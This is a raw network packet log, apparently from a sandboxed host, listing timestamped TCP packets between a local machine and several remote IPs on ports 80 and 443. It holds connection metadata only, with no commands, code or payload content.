Sep 21, 2024 13:33:42.665043116 CEST	49726	443	192.168.2.9	162.241.61.218
Sep 21, 2024 13:33:42.665834904 CEST	49723	443	192.168.2.9	185.166.143.50
Sep 21, 2024 13:33:42.665858030 CEST	443	49723	185.166.143.50	192.168.2.9
Sep 21, 2024 13:33:42.665967941 CEST	443	49726	162.241.61.218	192.168.2.9
Sep 21, 2024 13:33:42.666023016 CEST	49726	443	192.168.2.9	162.241.61.218
Sep 21, 2024 13:33:42.667268038 CEST	443	49727	162.241.61.218	192.168.2.9
Sep 21, 2024 13:33:42.667406082 CEST	49727	443	192.168.2.9	162.241.61.218
Sep 21, 2024 13:33:42.667973995 CEST	443	49727	162.241.61.218	192.168.2.9
Sep 21, 2024 13:33:42.668458939 CEST	49727	443	192.168.2.9	162.241.61.218
Sep 21, 2024 13:33:42.673418045 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.673469067 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.673487902 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.673506021 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.673516035 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.673523903 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.673542023 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.673558950 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.673564911 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.673564911 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.673588991 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.673604965 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.673607111 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.673624039 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.673639059 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.673655033 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.673660040 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.673660040 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.673671961 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.673690081 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.673707008 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.673712015 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.673712015 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.673724890 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.673744917 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.673757076 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.673757076 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.673872948 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.674262047 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.674278975 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.674295902 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.674314976 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.674319983 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.674319983 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.674354076 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.674354076 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.674767017 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.674784899 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.674813032 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.674841881 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.674855947 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.674860001 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.674877882 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.674890995 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.674890995 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.674896002 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.674915075 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.674940109 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.674940109 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.674966097 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.674969912 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.675041914 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.675074100 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.675091982 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.675108910 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.675115108 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.675127029 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.675144911 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.675144911 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.675144911 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.675165892 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.675175905 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.675175905 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.675183058 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.675220966 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.675220966 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.675448895 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.675601959 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.675620079 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.675637960 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.675647020 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.675654888 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.675672054 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.675679922 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.675689936 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.675717115 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.675717115 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.676137924 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.677174091 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.677207947 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.677242994 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.677256107 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.677256107 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.677292109 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.677294970 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.677328110 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.677361965 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.677369118 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.677369118 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.677396059 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.677433968 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.677433968 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.678940058 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.678972960 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.678994894 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.679019928 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.679054022 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.679058075 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.679058075 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.679121017 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.679153919 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.679184914 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.679187059 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.679219007 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.679250956 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.679264069 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.679264069 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.679284096 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.679316998 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.679325104 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.679325104 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.679378986 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.679601908 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.679635048 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.679668903 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.679672003 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.679672003 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.679764032 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.679800034 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.679857016 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.679907084 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.679938078 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.679939985 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.679972887 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.680005074 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.680011988 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.680011988 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.680039883 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.680074930 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.680074930 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.682660103 CEST	443	49727	162.241.61.218	192.168.2.9
Sep 21, 2024 13:33:42.682746887 CEST	49727	443	192.168.2.9	162.241.61.218
Sep 21, 2024 13:33:42.683515072 CEST	443	49727	162.241.61.218	192.168.2.9
Sep 21, 2024 13:33:42.683883905 CEST	49727	443	192.168.2.9	162.241.61.218
Sep 21, 2024 13:33:42.684142113 CEST	443	49727	162.241.61.218	192.168.2.9
Sep 21, 2024 13:33:42.684210062 CEST	49727	443	192.168.2.9	162.241.61.218
Sep 21, 2024 13:33:42.684993982 CEST	443	49727	162.241.61.218	192.168.2.9
Sep 21, 2024 13:33:42.685995102 CEST	443	49727	162.241.61.218	192.168.2.9
Sep 21, 2024 13:33:42.686011076 CEST	49727	443	192.168.2.9	162.241.61.218
Sep 21, 2024 13:33:42.686022043 CEST	443	49727	162.241.61.218	192.168.2.9
Sep 21, 2024 13:33:42.686084032 CEST	49727	443	192.168.2.9	162.241.61.218
Sep 21, 2024 13:33:42.686084032 CEST	49727	443	192.168.2.9	162.241.61.218
Sep 21, 2024 13:33:42.689378023 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.689455032 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.689543962 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.689615965 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.689636946 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.689655066 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.689904928 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.689938068 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.689968109 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.689973116 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.689987898 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.690006971 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.690052986 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.697792053 CEST	443	49726	162.241.61.218	192.168.2.9
Sep 21, 2024 13:33:42.697859049 CEST	443	49726	162.241.61.218	192.168.2.9
Sep 21, 2024 13:33:42.697877884 CEST	49726	443	192.168.2.9	162.241.61.218
Sep 21, 2024 13:33:42.697892904 CEST	443	49726	162.241.61.218	192.168.2.9
Sep 21, 2024 13:33:42.697925091 CEST	49726	443	192.168.2.9	162.241.61.218
Sep 21, 2024 13:33:42.697938919 CEST	49726	443	192.168.2.9	162.241.61.218
Sep 21, 2024 13:33:42.698476076 CEST	443	49726	162.241.61.218	192.168.2.9
Sep 21, 2024 13:33:42.698540926 CEST	49726	443	192.168.2.9	162.241.61.218
Sep 21, 2024 13:33:42.699220896 CEST	443	49726	162.241.61.218	192.168.2.9
Sep 21, 2024 13:33:42.699275970 CEST	49726	443	192.168.2.9	162.241.61.218
Sep 21, 2024 13:33:42.708158016 CEST	49728	443	192.168.2.9	52.217.131.81
Sep 21, 2024 13:33:42.708195925 CEST	443	49728	52.217.131.81	192.168.2.9
Sep 21, 2024 13:33:42.708259106 CEST	49728	443	192.168.2.9	52.217.131.81
Sep 21, 2024 13:33:42.708796024 CEST	49728	443	192.168.2.9	52.217.131.81
Sep 21, 2024 13:33:42.708810091 CEST	443	49728	52.217.131.81	192.168.2.9
Sep 21, 2024 13:33:42.709680080 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.709794044 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.709988117 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.710002899 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.710017920 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.710033894 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.710041046 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.710048914 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.710067034 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.710072041 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.710072041 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.710083008 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.710105896 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.710105896 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.710190058 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.720848083 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.720874071 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.720886946 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.720905066 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.721010923 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.721026897 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.721029997 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.721045017 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.721048117 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.721061945 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.721082926 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.721108913 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.721126080 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.721139908 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.721178055 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.721178055 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.723964930 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.724075079 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.724090099 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.724102974 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.724107027 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.724116087 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.724124908 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.724133968 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.724140882 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.724149942 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.724159956 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.724167109 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.724181890 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.724239111 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.725327015 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.725353956 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.725368977 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.725375891 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.725392103 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.725438118 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.725541115 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.725557089 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.725570917 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.725588083 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.725588083 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.725610018 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.725792885 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.730520010 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.730554104 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.730576992 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.730586052 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.730591059 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.730624914 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.730634928 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.730668068 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.730674982 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.730700016 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.730710983 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.730734110 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.730740070 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.730766058 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.730777025 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.730798960 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.730806112 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.730842113 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.730849028 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.730881929 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.730914116 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.730926991 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.730947018 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.730957031 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.730982065 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.730990887 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.731020927 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.731134892 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.731168032 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.731199026 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.731201887 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.731219053 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.731235027 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.731246948 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.731267929 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.731276035 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.731302977 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.731311083 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.731349945 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.731475115 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.731508970 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.731542110 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.731575012 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.731575966 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.731585026 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.731609106 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.731615067 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.731645107 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.731653929 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.731692076 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.731698036 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.731734991 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.731756926 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.731770992 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.731780052 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.731800079 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.731817007 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.732048988 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.732053041 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.732089043 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.732120037 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.732120991 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.732135057 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.732153893 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.732186079 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.732203007 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.732234001 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.732238054 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.732270956 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.732285023 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.732302904 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.732315063 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.732336044 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.732368946 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.732368946 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.732377052 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.732415915 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.732419968 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.732453108 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.732465982 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.732500076 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.732562065 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.732592106 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.732611895 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.732625008 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.732636929 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.732662916 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.732677937 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.732714891 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.732724905 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.732748032 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.732758045 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.732780933 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.732784033 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.732815981 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.732824087 CEST	49708	80	192.168.2.9	147.45.44.104
